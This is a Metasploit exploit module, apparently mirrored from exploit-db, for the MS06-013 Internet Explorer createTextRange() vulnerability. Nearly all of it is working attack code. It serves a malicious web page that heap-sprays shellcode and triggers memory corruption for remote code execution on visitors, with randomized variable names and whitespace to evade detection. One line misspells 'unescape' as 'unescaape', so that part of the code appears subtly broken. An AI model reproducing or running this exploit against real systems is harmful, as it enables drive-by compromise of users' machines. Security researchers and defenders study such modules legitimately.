Microsoft Internet Explorer – ‘createTextRange()’ Code Execution (MS06-013) (Metasploit)

  • 作者： Metasploit
    日期： 2010-09-20
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/16578/
  • ##
# $Id: ms06_013_createtextrange.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'Internet Explorer createTextRange() Code Execution',
			'Description'=> %q{
					This module exploits a code execution vulnerability in Microsoft Internet Explorer.
				Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memoryin a way, which, under
				certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point
				to a very remote, non-existent memory location. This module is the result of merging three
				different exploit submissions and has only been reliably tested against Windows XP SP2.
				This vulnerability was independently discovered by multiple parties. The heap spray method
				used by this exploit was pioneered by Skylined.
			},
			'License'=> MSF_LICENSE,
			'Author' =>
				[
					'Faithless <rhyskidd [at] gmail.com>',
					'Darkeagle <unl0ck.net>',
					'hdm',
					'<justfriends4n0w [at] yahoo.com>',
					'anonymous',
				],
			'Version'=> '$Revision: 10394 $',
			'References' =>
				[
					['CVE', '2006-1359'],
					['OSVDB', '24050'],
					['MSB', 'MS06-013'],
					['BID', '17196'],
					['US-CERT-VU', '876678'],
					['URL', 'http://secunia.com/secunia_research/2006-7/advisory/'],
					['URL', 'http://seclists.org/lists/bugtraq/2006/Mar/0410.html'],
					['URL', 'http://seclists.org/lists/fulldisclosure/2006/Mar/1439.html'],
					['URL', 'http://www.shog9.com/crashIE.html'],
				],
			'Payload'=>
				{
					'Space'=> 1024,
					'BadChars' => "\x00",
				},
			'Platform' => 'win',
			'Targets'=>
				[
					[ 'Internet Explorer 6 - (6.0.3790.0 - Windows XP SP2)', { 'Ret' => 0x746F9468 } ],
					[ 'Internet Explorer 7 - (7.0.5229.0 - Windows XP SP2)', { 'Ret' => 0x3C0474C2 } ],

				],
			'DefaultTarget'=> 0,
			'DisclosureDate' => 'Mar 19 2006'))
	end

	def on_request_uri(cli, request)

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Create some nops
		nops = Rex::Text.to_unescape(make_nops(4))

		# Generate a random XML namespace for VML
		xmlns = rand_text_alpha(rand(30)+2)

		# Randomize the javascript variable names
		rnd= rand(3)
		var_inputtype= ((rnd == 0) ? "checkbox" : ((rnd == 1) ? "radio" : "image"))
		var_inp= "_"+rand_text_alpha(rand(6)+3)
		var_tmp= "_"+rand_text_alpha(rand(6)+3)
		var_payload= "_"+rand_text_alpha(rand(6)+3)
		var_nopslide = "_"+rand_text_alpha(rand(6)+3)
		var_slidesize= "_"+rand_text_alpha(rand(6)+3)
		var_fillblock= "_"+rand_text_alpha(rand(6)+3)
		var_memblock = "_"+rand_text_alpha(rand(6)+3)
		var_heap = "_"+rand_text_alpha(rand(6)+3)
		var_index= "_"+rand_text_alpha(rand(6)+3)
		var_maxIndex = "_"+rand_text_alpha(rand(6)+3)
		var_fillHeap = "_"+rand_text_alpha(rand(6)+3)
		var_start= "_"+rand_text_alpha(rand(6)+3)
		var_timer= "_"+rand_text_alpha(rand(6)+3)
		rnd= rand(2)
		var_setTimeout = (rnd == 0) ? "setTimeout('#{var_fillHeap}()', 5)" : ""
		var_setInterval= (rnd == 1) ? "setInterval('#{var_fillHeap}()', 5)" : ""

		# Build out the message
		content = %Q|<html>
<head>
<script language = "javascript">
var #{var_payload} = unescaape("#{shellcode}");
var #{var_nopslide} = unescape("#{nops}");
var #{var_slidesize} = 20+#{var_payload}.length;
while (#{var_nopslide}.length<#{var_slidesize}) { #{var_nopslide} += #{var_nopslide}; }
var #{var_fillblock} = #{var_nopslide}.substring(0,#{var_slidesize});
var #{var_memblock} = #{var_nopslide}.substring(0,#{var_nopslide}.length-#{var_slidesize});
while(#{var_memblock}.length+#{var_slidesize} < 0x40000) { #{var_memblock} += #{var_fillblock}; }
var #{var_heap} = new Array();
var #{var_index} = 0;
var #{var_maxIndex} = 2020;
function #{var_fillHeap}() {
#{var_timer}.innerHTML = Math.round((#{var_index}/#{var_maxIndex})*100);
if (#{var_index}<#{var_maxIndex}) {
#{var_heap}.push(#{var_memblock}+#{var_payload});
#{var_index}++;
#{var_setTimeout}
} else {
#{var_timer}.innerHTML = 100;
#{var_inp} = document.createElement("input");
#{var_inp}.type = "#{var_inputtype}";
#{var_tmp} = #{var_inp}.createTextRange();
}
}
function #{var_start}() {
#{var_setTimeout}#{var_setInterval}
}
</script>
</head>
<body onload="#{var_start}()">
<span id="#{var_timer}"> % </span>
</body>
</html>
|

		content = Rex::Text.randomize_space(content)

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end